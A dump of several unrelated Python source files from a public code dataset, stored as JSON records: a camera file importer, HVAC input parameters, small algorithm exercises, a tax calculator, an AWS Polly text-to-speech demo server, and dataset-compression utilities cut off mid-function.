\".jpg\",\n \".jpeg\",\n \".heif\",\n \".heic\",\n \".png\",\n \".tga\"\n ]\n\nVIDEO_TYPES: List = [\n \".avi\",\n \".mpg\",\n \".mov\",\n \".mkv\"\n ]\n\n# Image Wrapper Class\nclass ImageObject(object):\n # object constructor\n def __init__(self, source_filename: str, destination_path: str, dry_run: bool = False) -> None:\n self.final_path: str = None\n self.image_filename: str = source_filename\n self.destination_path: str = destination_path\n self.exifparser: GExiv2.Metadata = GExiv2.Metadata()\n self.dry_run = dry_run\n\n try:\n self.exifparser.open_path(self.image_filename)\n\n if self.exifparser.has_exif():\n try:\n self.date_info: dict = self.exifparser.get_date_time()\n except KeyError: # EXIF metadata does not contain date/time info. fallback to file timestamp\n self.date_info: dict = datetime.fromtimestamp(os.stat(self.image_filename).st_mtime)\n else:\n self.date_info: dict = datetime.fromtimestamp(os.stat(self.image_filename).st_mtime)\n\n self.exifparser.free()\n except Exception as e:\n raise e\n\n # build destpath\n def _dest_path(self) -> str:\n return f\"{self.destination_path}/{self.date_info.year}/{self.date_info.month}/{self.date_info.day}/\"\n\n # get source filename\n def base_filename(self) -> str:\n return os.path.split(self.image_filename)[1]\n\n # assert that destination path is present on the filesystem\n # create path if necessary\n def prepare_destination_path(self, modifier=None) -> None:\n if modifier is None:\n dpath = self._dest_path()\n else:\n dpath = f\"{self._dest_path()}{modifier}\"\n\n if not os.path.exists(dpath):\n print(\"\\t->Need to create directory: %s\" % dpath)\n if not self.dry_run:\n os.makedirs(dpath)\n\n dpath = os.path.normpath(dpath)\n\n if dpath[-1] != \"/\":\n self.final_path = f\"{dpath}/\"\n else:\n self.final_path = dpath\n\n # transfer file to destination\n def transfer(self) -> None:\n filename = self.base_filename()\n if os.path.exists(self.final_path + filename):\n print(f\"\\t--> Skipping existing file {self.final_path}{filename}...\")\n else:\n print(f\"=| Importing [{self.image_filename}] to [{self.final_path}]...\")\n if not self.dry_run:\n shutil.copy2(self.image_filename, self.final_path)\n\n# Camera Importer Class\nclass CameraImport():\n def __init__(self, source_path, destination_path, dry_run: bool = False) -> None:\n self.source_path: str = source_path\n self.destination_path: str = destination_path\n self.dry_run = dry_run\n\n self.raw_ext: List = [x.upper() for x in RAW_TYPES]\n self.raster_ext: List = [x.upper() for x in RASTER_TYPES]\n self.video_ext: List = [x.upper() for x in VIDEO_TYPES]\n\n if not os.path.exists(self.destination_path) and not self.dry_run:\n os.makedirs(self.destination_path)\n\n def assert_path_ok(self) -> bool:\n return not (self.source_path == self.destination_path)\n\n def init_file_lists(self) -> None:\n self.filelist = [ topdir + os.sep + fname\\\n for topdir, innerdirs, filelist in os.walk(self.source_path)\\\n for fname in filelist ]\n\n self.raw_list: List = []\n for rawtype in self.raw_ext:\n self.raw_list += list(filter(lambda x: os.path.splitext(x)[1].upper() == rawtype.upper(), self.filelist))\n\n self.raster_list: List = []\n for rastertype in self.raster_ext:\n self.raster_list += list(filter(lambda x: os.path.splitext(x)[1].upper() == rastertype.upper(), self.filelist))\n\n self.video_list: List = []\n for videotype in self.video_ext:\n self.video_list += list(filter(lambda x: os.path.splitext(x)[1].upper() == videotype.upper(), self.filelist))\n\n self.num_raws: int = len(self.raw_list)\n self.num_rasters: int = len(self.raster_list)\n self.num_video: int = len(self.video_list)\n\n def n_raws(self) -> int:\n return self.num_raws\n\n def n_rasters(self) -> int:\n return self.num_rasters\n\n def n_videos(self) -> int:\n return self.num_video\n\n def transfer_rasters(self) -> None:\n for raster in self.raster_list:\n # Instantiate new ImageOp Object\n next_file = ImageObject(source_filename=raster, destination_path=self.destination_path, dry_run=self.dry_run)\n next_file.prepare_destination_path(modifier=\"/rasters/\")\n\n # copy file to destination!\n next_file.transfer()\n\n print(\"\")\n\n def transfer_raws(self) -> None:\n for raw in self.raw_list:\n # instantiate imageop object\n next_file = ImageObject(source_filename=raw, destination_path=self.destination_path, dry_run=self.dry_run)\n next_file.prepare_destination_path(modifier=\"/raw/\")\n\n # copy to destination\n next_file.transfer()\n\n print(\"\")\n\n def transfer_videos(self) -> None:\n for video in self.video_list:\n # instantiate imageop object\n next_file = ImageObject(source_filename=video, destination_path=self.destination_path, dry_run=self.dry_run)\n next_file.prepare_destination_path(modifier=\"/video/\")\n\n # copy to destination\n next_file.transfer()\n\n print(\"\")\n\n# main\nif __name__ == \"__main__\":\n ap = ArgumentParser(prog=\"CameraImport\", description=\"Image import utility\")\n ap.add_argument(\"--count\", action='store_true', help=\"Count the number of files to import and report this info.\")\n ap.add_argument(\"--source\", help=\"Source path from which we will copy files.\")\n ap.add_argument(\"--destination\", help=\"Destiantion path to which we will copy files.\")\n ap.add_argument(\"--dryrun\", action='store_true', help=\"Simulate run but do not actually copy or move files around.\")\n\n # parse command line\n opts = ap.parse_args()\n source = opts.source\n destination = opts.destination\n\n if source is None or destination is None:\n print(\"Syntax Error\")\n sys.exit(-1)\n\n if opts.count is True:\n ch = CameraImport(source_path=source, destination_path=destination, dry_run=opts.dryrun)\n ch.init_file_lists()\n print(f\"Need to import [{ch.n_rasters()}] RASTER files, [{ch.n_raws()}] RAW files and [{ch.n_videos()}] Video files. Continue?\")\n else:\n print(f\"Transferring from {source} to {destination}....\")\n ch = CameraImport(source_path=source, destination_path=destination, dry_run=opts.dryrun)\n ch.init_file_lists()\n # start transferring rasters\n ch.transfer_rasters()\n # start transferring raws\n ch.transfer_raws()\n # start transferring videos\n ch.transfer_videos()\n # done\n\n sys.exit(0)\n","repo_name":"mcaimi/tmux-filmroll","sub_path":"scripts/CameraHandler.py","file_name":"CameraHandler.py","file_ext":"py","file_size_in_byte":7649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7778142495","text":"#DADOS DE ENTRADA\n\n#USO DO AMBIENTE\npess = 10 #quantidade de pessoas no ambiente\narea = 17.754 #[m²] área útil ocupada por pessoas\nFp = 7.5 # [L/s*pessoa] vazão por pessoa\nFa = 0.9 # [L/s*m²] vazão por área útil ocupada\n\n\n#AMBIENTE\ntemp = 23 #[°C] temperatura interna\numd = 0.0092 #[%] umidade absoluta interna \nv_ar = 0,20 #[m/s] velocidade do ar \n\n#ENVOLTÓRIA\nf = 0.6 #fator de amortecimento\nlag = 5 #horas de atraso\nrse = 0.04 #convecção\nlat = -20.75 #latitude\nro = 0.25 #refletância solar-solo\n\n\n\n\n","repo_name":"aliCarlosrdz/arcondicionado","sub_path":"dados.py","file_name":"dados.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21084391584","text":"from sys import stdin\npoint=[[0]*100 for _ in range(100)]\n\nnum_of_colorpaper=int(input())\n\n#색종이의 좌표 설정\nfor i in range(num_of_colorpaper):\n paper_x,paper_y=map(int,stdin.readline().rstrip().split())\n for j in range(paper_x,paper_x+10):\n for k in range(paper_y,paper_y+10):\n point[j][k]=1\n\n#영역 넓이 계산\narea=0\nfor x in range(100):\n for y in range(100):\n if point[x][y]==1:\n area+=1\n\nprint(area)\n\n","repo_name":"SquirtlesAlgorithmStudy/squirtlesAlgorithmStudy-S345","sub_path":"영진/구현/2563_색종이.py","file_name":"2563_색종이.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"73217998331","text":"import queue\nclass treeNode:\n def __init__(self, data):\n self.data = data\n self.children = []\n def __str__(self):\n return str(self.data)\n\ndef printLevelWiseTree(tree):\n #############################\n # PLEASE ADD YOUR CODE HERE #\n #############################\n if tree is None:\n return\n q = queue.Queue()\n q.put(tree)\n q.put(None)\n while not q.empty():\n t = q.get()\n if t is not None:\n print(str(t.data)+\":\", end = '')\n if t is None and q.qsize() == 0:\n break\n if t is None:\n q.put(None)\n else:\n s = len(t.children)\n for i in range(s):\n if i < s-1:\n q.put(t.children[i])\n print(str(t.children[i].data)+\",\", end = '')\n else:\n q.put(t.children[i])\n print(str(t.children[i].data), end = '')\n print()\n \n \n \ndef createLevelWiseTree(arr):\n root = treeNode(int(arr[0]))\n q = [root]\n size = len(arr)\n i = 1\n while i tak1:\n over_tak1 = income - tak1\n tax = tax + over_tak1*extra_tax\n if income > tak2: #lägger den här. Behöver inte kolla detta om inkomsten är mindre än första taket \n over_tak2 = income - tak2\n tax = tax + over_tak2*extra_tax\n\nprint(f'Din skatt är: {round(tax)}')\n","repo_name":"elinbjorck/1DV501","sub_path":"Assignment 1/Taxes.py","file_name":"Taxes.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"sv","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"43386417557","text":"from argparse import ArgumentParser\nfrom collections import namedtuple\nfrom contextlib import closing\nfrom io import BytesIO\nfrom json import dumps as json_encode\nimport os\nimport sys\n\nif sys.version_info >= (3, 0):\n from http.server import BaseHTTPRequestHandler, HTTPServer\n from socketserver import ThreadingMixIn\n from urllib.parse import parse_qs\nelse:\n from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n from SocketServer import ThreadingMixIn\n from urlparse import parse_qs\n\nfrom boto3 import Session\nfrom botocore.exceptions import BotoCoreError, ClientError\n\nResponseStatus = namedtuple(\"HTTPStatus\",\n [\"code\", \"message\"])\n\nResponseData = namedtuple(\"ResponseData\",\n [\"status\", \"content_type\", \"data_stream\"])\n\n# Mapping the output format used in the client to the content type for the\n# response\nAUDIO_FORMATS = {\"ogg_vorbis\": \"audio/ogg\",\n \"mp3\": \"audio/mpeg\",\n \"pcm\": \"audio/wave; codecs=1\"}\nCHUNK_SIZE = 2048\nHTTP_STATUS = {\"OK\": ResponseStatus(code=200, message=\"OK\"),\n \"BAD_REQUEST\": ResponseStatus(code=400, message=\"Bad request\"),\n \"NOT_FOUND\": ResponseStatus(code=404, message=\"Not found\"),\n \"INTERNAL_SERVER_ERROR\": ResponseStatus(code=500, message=\"Internal server error\")}\nPROTOCOL = \"http\"\nROUTE_INDEX = \"/tts.html\"\nROUTE_VOICES = \"/voices\"\nROUTE_READ = \"/read\"\n\n\n# Create a client using the credentials and region defined in the adminuser\n# section of the AWS credentials and configuration files\nsession = Session(profile_name=\"adminuser\")\npolly = session.client(\"polly\")\n\n\nclass HTTPStatusError(Exception):\n \"\"\"Exception wrapping a value from http.server.HTTPStatus\"\"\"\n\n def __init__(self, status, description=None):\n \"\"\"\n Constructs an error instance from a tuple of\n (code, message, description), see http.server.HTTPStatus\n \"\"\"\n super(HTTPStatusError, self).__init__()\n self.code = status.code\n self.message = status.message\n self.explain = description\n\n\nclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):\n \"\"\"An HTTP Server that handle each request in a new thread\"\"\"\n daemon_threads = True\n\n\nclass ChunkedHTTPRequestHandler(BaseHTTPRequestHandler):\n \"\"\"\"HTTP 1.1 Chunked encoding request handler\"\"\"\n # Use HTTP 1.1 as 1.0 doesn't support chunked encoding\n protocol_version = \"HTTP/1.1\"\n\n def query_get(self, queryData, key, default=\"\"):\n \"\"\"Helper for getting values from a pre-parsed query string\"\"\"\n return queryData.get(key, [default])[0]\n\n def do_GET(self):\n \"\"\"Handles GET requests\"\"\"\n\n # Extract values from the query string\n path, _, query_string = self.path.partition('?')\n query = parse_qs(query_string)\n\n response = None\n\n print(u\"[START]: Received GET for %s with query: %s\" % (path, query))\n\n try:\n # Handle the possible request paths\n if path == ROUTE_INDEX:\n response = self.route_index(path, query)\n elif path == ROUTE_VOICES:\n response = self.route_voices(path, query)\n elif path == ROUTE_READ:\n response = self.route_read(path, query)\n else:\n response = self.route_not_found(path, query)\n\n self.send_headers(response.status, response.content_type)\n self.stream_data(response.data_stream)\n\n except HTTPStatusError as err:\n # Respond with an error and log debug\n # information\n if sys.version_info >= (3, 0):\n self.send_error(err.code, err.message, err.explain)\n else:\n self.send_error(err.code, err.message)\n\n self.log_error(u\"%s %s %s - [%d] %s\", self.client_address[0],\n self.command, self.path, err.code, err.explain)\n\n print(\"[END]\")\n\n def route_not_found(self, path, query):\n \"\"\"Handles routing for unexpected paths\"\"\"\n raise HTTPStatusError(HTTP_STATUS[\"NOT_FOUND\"], \"Page not found\")\n\n def route_index(self, path, query):\n \"\"\"Handles routing for the application's entry point'\"\"\"\n try:\n return ResponseData(status=HTTP_STATUS[\"OK\"], content_type=\"text_html\",\n # Open a binary stream for reading the index\n # HTML file\n data_stream=open(os.path.join(sys.path[0],\n path[1:]), \"rb\"))\n except IOError as err:\n # Couldn't open the stream\n raise HTTPStatusError(HTTP_STATUS[\"INTERNAL_SERVER_ERROR\"],\n str(err))\n\n def route_voices(self, path, query):\n \"\"\"Handles routing for listing available voices\"\"\"\n params = {}\n voices = []\n\n while True:\n try:\n # Request list of available voices, if a continuation token\n # was returned by the previous call then use it to continue\n # listing\n response = polly.describe_voices(**params)\n except (BotoCoreError, ClientError) as err:\n # The service returned an error\n raise HTTPStatusError(HTTP_STATUS[\"INTERNAL_SERVER_ERROR\"],\n str(err))\n\n # Collect all the voices\n voices.extend(response.get(\"Voices\", []))\n\n # If a continuation token was returned continue, stop iterating\n # otherwise\n if \"NextToken\" in response:\n params = {\"NextToken\": response[\"NextToken\"]}\n else:\n break\n\n json_data = json_encode(voices)\n bytes_data = bytes(json_data, \"utf-8\") if sys.version_info >= (3, 0) \\\n else bytes(json_data)\n\n return ResponseData(status=HTTP_STATUS[\"OK\"],\n content_type=\"application/json\",\n # Create a binary stream for the JSON data\n data_stream=BytesIO(bytes_data))\n\n def route_read(self, path, query):\n \"\"\"Handles routing for reading text (speech synthesis)\"\"\"\n # Get the parameters from the query string\n text = self.query_get(query, \"text\")\n voiceId = self.query_get(query, \"voiceId\")\n outputFormat = self.query_get(query, \"outputFormat\")\n\n # Validate the parameters, set error flag in case of unexpected\n # values\n if len(text) == 0 or len(voiceId) == 0 or \\\n outputFormat not in AUDIO_FORMATS:\n raise HTTPStatusError(HTTP_STATUS[\"BAD_REQUEST\"],\n \"Wrong parameters\")\n else:\n try:\n # Request speech synthesis\n response = polly.synthesize_speech(Text=text,\n VoiceId=voiceId,\n OutputFormat=outputFormat)\n except (BotoCoreError, ClientError) as err:\n # The service returned an error\n raise HTTPStatusError(HTTP_STATUS[\"INTERNAL_SERVER_ERROR\"],\n str(err))\n\n return ResponseData(status=HTTP_STATUS[\"OK\"],\n content_type=AUDIO_FORMATS[outputFormat],\n # Access the audio stream in the response\n data_stream=response.get(\"AudioStream\"))\n\n def send_headers(self, status, content_type):\n \"\"\"Send out the group of headers for a successful request\"\"\"\n # Send HTTP headers\n self.send_response(status.code, status.message)\n self.send_header('Content-type', content_type)\n self.send_header('Transfer-Encoding', 'chunked')\n self.send_header('Connection', 'close')\n self.end_headers()\n\n def stream_data(self, stream):\n \"\"\"Consumes a stream in chunks to produce the response's output'\"\"\"\n print(\"Streaming started...\")\n\n if stream:\n # Note: Closing the stream is important as the service throttles on\n # the number of parallel connections. Here we are using\n # contextlib.closing to ensure the close method of the stream object\n # will be called automatically at the end of the with statement's\n # scope.\n with closing(stream) as managed_stream:\n # Push out the stream's content in chunks\n while True:\n data = managed_stream.read(CHUNK_SIZE)\n self.wfile.write(b\"%X\\r\\n%s\\r\\n\" % (len(data), data))\n\n # If there's no more data to read, stop streaming\n if not data:\n break\n\n # Ensure any buffered output has been transmitted and close the\n # stream\n self.wfile.flush()\n\n print(\"Streaming completed.\")\n else:\n # The stream passed in is empty\n self.wfile.write(b\"0\\r\\n\\r\\n\")\n print(\"Nothing to stream.\")\n\n# Define and parse the command line arguments\ncli = ArgumentParser(description='Example Python Application')\ncli.add_argument(\n \"-p\", \"--port\", type=int, metavar=\"PORT\", dest=\"port\", default=8000)\ncli.add_argument(\n \"--host\", type=str, metavar=\"HOST\", dest=\"host\", default=\"localhost\")\narguments = cli.parse_args()\n\n# If the module is invoked directly, initialize the application\nif __name__ == '__main__':\n # Create and configure the HTTP server instance\n server = ThreadedHTTPServer((arguments.host, arguments.port),\n ChunkedHTTPRequestHandler)\n print(\"Starting server, use to stop...\")\n print(u\"Open {0}://{1}:{2}{3} in a web browser.\".format(PROTOCOL,\n arguments.host,\n arguments.port,\n ROUTE_INDEX))\n\n try:\n # Listen for requests indefinitely\n server.serve_forever()\n except KeyboardInterrupt:\n # A request to terminate has been received, stop the server\n print(\"\\nShutting down...\")\n server.socket.close()\n","repo_name":"haynieresearch/jarvis","sub_path":"scripts/tts-server.py","file_name":"tts-server.py","file_ext":"py","file_size_in_byte":10389,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"78"} +{"seq_id":"271030311","text":"# Implementation used from https://github.com/automl/auto-sklearn/blob/development/autosklearn/util/data.py\nimport warnings\nfrom typing import (\n Any,\n Dict,\n Iterator,\n List,\n Mapping,\n Optional,\n Sequence,\n Tuple,\n Type,\n Union,\n cast\n)\n\nimport numpy as np\n\nimport pandas as pd\n\nfrom scipy.sparse import issparse, spmatrix\n\nfrom sklearn.model_selection import StratifiedShuffleSplit, train_test_split\nfrom sklearn.model_selection._split import _validate_shuffle_split\nfrom sklearn.utils import _approximate_mode, check_random_state\nfrom sklearn.utils.validation import _num_samples, check_array\n\nfrom autoPyTorch.data.base_target_validator import SupportedTargetTypes\nfrom autoPyTorch.utils.common import ispandas\n\n# TODO: TypedDict with python 3.8\n#\n# When upgrading to python 3.8 as minimum version, this should be a TypedDict\n# so that mypy can identify the fields types\nDatasetCompressionSpec = Dict[str, Union[int, float, List[str]]]\nDatasetDTypeContainerType = Union[Type, Dict[str, Type]]\nDatasetCompressionInputType = Union[np.ndarray, spmatrix, pd.DataFrame]\n\n# Default specification for arg `dataset_compression`\ndefault_dataset_compression_arg: DatasetCompressionSpec = {\n \"memory_allocation\": 0.1,\n \"methods\": [\"precision\", \"subsample\"]\n}\n\n\nclass CustomStratifiedShuffleSplit(StratifiedShuffleSplit):\n \"\"\"Splitter that deals with classes with too few samples\"\"\"\n\n def _iter_indices(self, X, y, groups=None): # type: ignore\n n_samples = _num_samples(X)\n y = check_array(y, ensure_2d=False, dtype=None)\n n_train, n_test = _validate_shuffle_split(\n n_samples,\n self.test_size,\n self.train_size,\n default_test_size=self._default_test_size,\n )\n\n if y.ndim == 2:\n # for multi-label y, map each distinct row to a string repr\n # using join because str(row) uses an ellipsis if len(row) > 1000\n y = np.array([\" \".join(row.astype(\"str\")) for row in y])\n\n classes, y_indices = np.unique(y, return_inverse=True)\n n_classes = classes.shape[0]\n\n class_counts = np.bincount(y_indices)\n\n if n_train < n_classes:\n raise ValueError(\n \"The train_size = %d should be greater or \"\n \"equal to the number of classes = %d\" % (n_train, n_classes)\n )\n if n_test < n_classes:\n raise ValueError(\n \"The test_size = %d should be greater or \"\n \"equal to the number of classes = %d\" % (n_test, n_classes)\n )\n\n # Find the sorted list of instances for each class:\n # (np.unique above performs a sort, so code is O(n logn) already)\n class_indices = np.split(\n np.argsort(y_indices, kind=\"mergesort\"), np.cumsum(class_counts)[:-1]\n )\n\n rng = check_random_state(self.random_state)\n\n for _ in range(self.n_splits):\n # if there are ties in the class-counts, we want\n # to make sure to break them anew in each iteration\n n_i = _approximate_mode(class_counts, n_train, rng)\n class_counts_remaining = class_counts - n_i\n t_i = _approximate_mode(class_counts_remaining, n_test, rng)\n train = []\n test = []\n\n # NOTE: Adapting for unique instances\n #\n # Each list n_i, t_i represent the list of class in the\n # training_set and test_set resepectively.\n #\n # n_i = [100, 100, 0, 3] # 100 of class '0', 0 of class '2'\n # t_i = [300, 300, 1, 3] # 300 of class '0', 1 of class '2'\n #\n # To support unique labels such as class '2', which only has one sample\n # between both n_i and t_i, we need to make sure that n_i has at least\n # one sample of all classes. There is also the extra check to ensure\n # that the sizes stay the same.\n #\n # n_i = [ 99, 100, 1, 3] # 100 of class '0', 0 of class '2'\n # | ^\n # v |\n # t_i = [301, 300, 0, 3] # 300 of class '0', 1 of class '2'\n #\n for i, class_count in enumerate(n_i):\n if class_count == 0:\n t_i[i] -= 1\n n_i[i] += 1\n\n j = np.argmax(n_i)\n if n_i[j] == 1:\n warnings.warn(\n \"Can't respect size requirements for split.\",\n \" The training set must contain all of the unique\"\n \" labels that exist in the dataset.\",\n )\n else:\n n_i[j] -= 1\n t_i[j] += 1\n\n for i in range(n_classes):\n permutation = rng.permutation(class_counts[i])\n perm_indices_class_i = class_indices[i].take(permutation, mode=\"clip\")\n\n train.extend(perm_indices_class_i[: n_i[i]])\n test.extend(perm_indices_class_i[n_i[i]: n_i[i] + t_i[i]])\n\n train = rng.permutation(train)\n test = rng.permutation(test)\n\n yield train, test\n\n\ndef get_dataset_compression_mapping(\n memory_limit: int,\n dataset_compression: Union[bool, Mapping[str, Any]]\n) -> Optional[DatasetCompressionSpec]:\n \"\"\"\n Internal function to get value for `BaseTask._dataset_compression`\n based on the value of `dataset_compression` passed.\n\n If True, it returns the default_dataset_compression_arg. In case\n of a mapping, it is validated and returned as a `DatasetCompressionSpec`.\n\n If False, it returns None.\n\n Args:\n memory_limit (int):\n memory limit of the current search.\n dataset_compression (Union[bool, Mapping[str, Any]]):\n mapping passed to the `search` function.\n\n Returns:\n Optional[DatasetCompressionSpec]:\n Validated data compression spec or None.\n \"\"\"\n dataset_compression_mapping: Optional[Mapping[str, Any]] = None\n\n if not isinstance(dataset_compression, bool):\n dataset_compression_mapping = dataset_compression\n elif dataset_compression:\n dataset_compression_mapping = default_dataset_compression_arg\n\n if dataset_compression_mapping is not None:\n dataset_compression_mapping = validate_dataset_compression_arg(\n dataset_compression_mapping, memory_limit=memory_limit)\n\n return dataset_compression_mapping\n\n\ndef validate_dataset_compression_arg(\n dataset_compression: Mapping[str, Any],\n memory_limit: int\n) -> DatasetCompressionSpec:\n \"\"\"Validate and return a correct dataset_compression argument\n\n The returned value can be safely used with `reduce_dataset_size_if_too_large`.\n\n Args:\n dataset_compression: Mapping[str, Any]\n The argumnents to validate\n\n Returns:\n DatasetCompressionSpec\n The validated and correct dataset compression spec\n \"\"\"\n if not isinstance(dataset_compression, Mapping):\n raise ValueError(\n f\"Unknown type for `dataset_compression` {type(dataset_compression)}\"\n f\"\\ndataset_compression = {dataset_compression}\"\n )\n\n # Fill with defaults if they don't exist\n dataset_compression = {\n **default_dataset_compression_arg,\n **dataset_compression\n }\n\n # Must contain known keys\n if set(dataset_compression.keys()) != set(default_dataset_compression_arg.keys()):\n raise ValueError(\n f\"Unknown key in dataset_compression, {list(dataset_compression.keys())}.\"\n f\"\\nPossible keys are {list(default_dataset_compression_arg.keys())}\"\n )\n\n memory_allocation = dataset_compression[\"memory_allocation\"]\n\n # \"memory_allocation\" must be float or int\n if not (isinstance(memory_allocation, float) or isinstance(memory_allocation, int)):\n raise ValueError(\n \"key 'memory_allocation' must be an `int` or `float`\"\n f\"\\ntype = {memory_allocation}\"\n f\"\\ndataset_compression = {dataset_compression}\"\n )\n\n # \"memory_allocation\" if absolute, should be > 0 and < memory_limit\n if isinstance(memory_allocation, int) and not (0 < memory_allocation < memory_limit):\n raise ValueError(\n f\"key 'memory_allocation' if int must be in (0, memory_limit={memory_limit})\"\n f\"\\nmemory_allocation = {memory_allocation}\"\n f\"\\ndataset_compression = {dataset_compression}\"\n )\n\n # \"memory_allocation\" must be in (0,1) if float\n if isinstance(memory_allocation, float):\n if not (0.0 < memory_allocation < 1.0):\n raise ValueError(\n \"key 'memory_allocation' if float must be in (0, 1)\"\n f\"\\nmemory_allocation = {memory_allocation}\"\n f\"\\ndataset_compression = {dataset_compression}\"\n )\n # convert to required memory so we can directly use\n dataset_compression[\"memory_allocation\"] = memory_allocation * memory_limit\n\n # \"methods\" must be non-empty sequence\n if (\n not isinstance(dataset_compression[\"methods\"], Sequence)\n or len(dataset_compression[\"methods\"]) <= 0\n ):\n raise ValueError(\n \"key 'methods' must be a non-empty list\"\n f\"\\nmethods = {dataset_compression['methods']}\"\n f\"\\ndataset_compression = {dataset_compression}\"\n )\n\n # \"methods\" must contain known methods\n if any(\n method not in cast(Sequence, default_dataset_compression_arg[\"methods\"]) # mypy\n for method in dataset_compression[\"methods\"]\n ):\n raise ValueError(\n f\"key 'methods' can only contain {default_dataset_compression_arg['methods']}\"\n f\"\\nmethods = {dataset_compression['methods']}\"\n f\"\\ndataset_compression = {dataset_compression}\"\n )\n\n return cast(DatasetCompressionSpec, dataset_compression)\n\n\nclass _DtypeReductionMapping(Mapping):\n \"\"\"\n Unfortuantly, mappings compare by hash(item) and not the __eq__ operator\n between the key and the item.\n\n Hence we wrap the dict in a Mapping class and implement our own __getitem__\n such that we do use __eq__ between keys and query items.\n\n >>> np.float32 == dtype('float32') # True, they are considered equal\n >>>\n >>> mydict = { np.float32: 'hello' }\n >>>\n >>> # Equal by __eq__ but dict operations fail\n >>> np.dtype('float32') in mydict # False\n >>> mydict[dtype('float32')] # KeyError\n\n This mapping class fixes that supporting the `in` operator as well as `__getitem__`\n\n >>> reduction_mapping = _DtypeReductionMapping()\n >>>\n >>> reduction_mapping[np.dtype('float64')] # np.float32\n >>> np.dtype('float32') in reduction_mapping # True\n \"\"\"\n\n # Information about dtype support\n _mapping: Dict[type, type] = {\n np.float32: np.float32,\n np.float64: np.float32,\n np.int32: np.int32,\n np.int64: np.int32\n }\n\n # In spite of the names, np.float96 and np.float128\n # provide only as much precision as np.longdouble,\n # that is, 80 bits on most x86 machines and 64 bits\n # in standard Windows builds.\n _mapping.update({getattr(np, s): np.float64 for s in ['float96', 'float128'] if hasattr(np, s)})\n\n @classmethod\n def __getitem__(cls, item: type) -> type:\n for k, v in cls._mapping.items():\n if k == item:\n return v\n raise KeyError(item)\n\n @classmethod\n def __iter__(cls) -> Iterator[type]:\n return iter(cls._mapping.keys())\n\n @classmethod\n def __len__(cls) -> int:\n return len(cls._mapping)\n\n\nreduction_mapping = _DtypeReductionMapping()\nsupported_precision_reductions = list(reduction_mapping)\n\n\ndef reduce_precision(\n X: DatasetCompressionInputType\n) -> Tuple[DatasetCompressionInputType, DatasetDTypeContainerType, DatasetDTypeContainerType]:\n \"\"\" Reduce the precision of a dataset containing floats or ints\n\n Note:\n For dataframe, the column's precision is reduced using pd.to_numeric.\n\n Args:\n X (DatasetCompressionInputType):\n The data to reduce precision of.\n\n Returns:\n Tuple[DatasetCompressionInputType, DatasetDTypeContainerType, DatasetDTypeContainerType]\n Returns the reduced data X along with the dtypes it and the dtypes it was reduced to.\n \"\"\"\n reduced_dtypes: Optional[DatasetDTypeContainerType] = None\n if isinstance(X, np.ndarray) or issparse(X):\n dtypes = X.dtype\n if X.dtype not in supported_precision_reductions:\n raise ValueError(f\"X.dtype = {X.dtype} not equal to any supported\"\n f\" {supported_precision_reductions}\")\n reduced_dtypes = reduction_mapping[X.dtype]\n X = X.astype(reduced_dtypes)\n\n elif ispandas(X):\n dtypes = dict(X.dtypes)\n\n col_names = X.dtypes.index\n\n float_cols = col_names[[dt.name.startswith(\"float\") for dt in X.dtypes.values]]\n int_cols = col_names[[dt.name.startswith(\"int\") for dt in X.dtypes.values]]\n X[int_cols] = X[int_cols].apply(lambda column: pd.to_numeric(column, downcast='integer'))\n X[float_cols] = X[float_cols].apply(lambda column: pd.to_numeric(column, downcast='float'))\n\n reduced_dtypes = dict(X.dtypes)\n else:\n raise ValueError(f\"Unrecognised data type of X, expected data type to \"\n f\"be in (np.ndarray, spmatrix, pd.DataFrame), but got :{type(X)}\")\n\n return X, reduced_dtypes, dtypes\n\n\ndef subsample(\n X: DatasetCompressionInputType,\n is_classification: bool,\n sample_size: Union[float, int],\n y: Optional[SupportedTargetTypes] = None,\n random_state: Optional[Union[int, np.random.RandomState]] = None,\n) -> Tuple[DatasetCompressionInputType, SupportedTargetTypes]:\n \"\"\"Subsamples data returning the same type as it recieved.\n\n If `is_classification`, we split using a stratified shuffle split which\n preserves unique labels in the training set.\n\n NOTE:\n It's highly unadvisable to use lists here. In order to preserve types,\n we convert to a numpy array and then back to a list.\n\n NOTE2:\n Interestingly enough, StratifiedShuffleSplut and descendants don't support\n sparse `y` in `split(): _check_array` call. Hence, neither do we.\n\n Args:\n X: DatasetCompressionInputType\n The X's to subsample\n y: SupportedTargetTypes\n The Y's to subsample\n is_classification: bool\n Whether this is classification data or regression data. Required for\n knowing how to split.\n sample_size: float | int\n If float, percentage of data to take otherwise if int, an absolute\n count of samples to take.\n random_state: int | RandomState = None\n The random state to pass to the splitted\n\n Returns:\n (DatasetCompressionInputType, SupportedTargetTypes)\n The X and y subsampled according to sample_size\n \"\"\"\n\n if isinstance(X, List):\n X = np.asarray(X)\n if isinstance(y, List):\n y = np.asarray(y)\n\n if is_classification and y is not None:\n splitter = CustomStratifiedShuffleSplit(\n train_size=sample_size, random_state=random_state\n )\n indices_to_keep, _ = next(splitter.split(X=X, y=y))\n X, y = _subsample_by_indices(X, y, indices_to_keep)\n\n elif y is None:\n X, _ = train_test_split( # type: ignore\n X,\n train_size=sample_size,\n random_state=random_state,\n )\n else:\n X, _, y, _ = train_test_split( # type: ignore\n X,\n y,\n train_size=sample_size,\n random_state=random_state,\n )\n\n return X, y\n\n\ndef _subsample_by_indices(\n X: DatasetCompressionInputType,\n y: SupportedTargetTypes,\n indices_to_keep: np.ndarray\n) -> Tuple[DatasetCompressionInputType, SupportedTargetTypes]:\n \"\"\"\n subsample data by given indices\n \"\"\"\n if ispandas(X):\n idxs = X.index[indices_to_keep]\n X = X.loc[idxs]\n else:\n X = X[indices_to_keep]\n\n if ispandas(y):\n # Ifnoring types as mypy does not infer y as dataframe.\n idxs = y.index[indices_to_keep] # type: ignore [index]\n y = y.loc[idxs] # type: ignore [union-attr]\n else:\n y = y[indices_to_keep]\n return X, y\n\n\ndef megabytes(arr: DatasetCompressionInputType) -> float:\n\n if isinstance(arr, 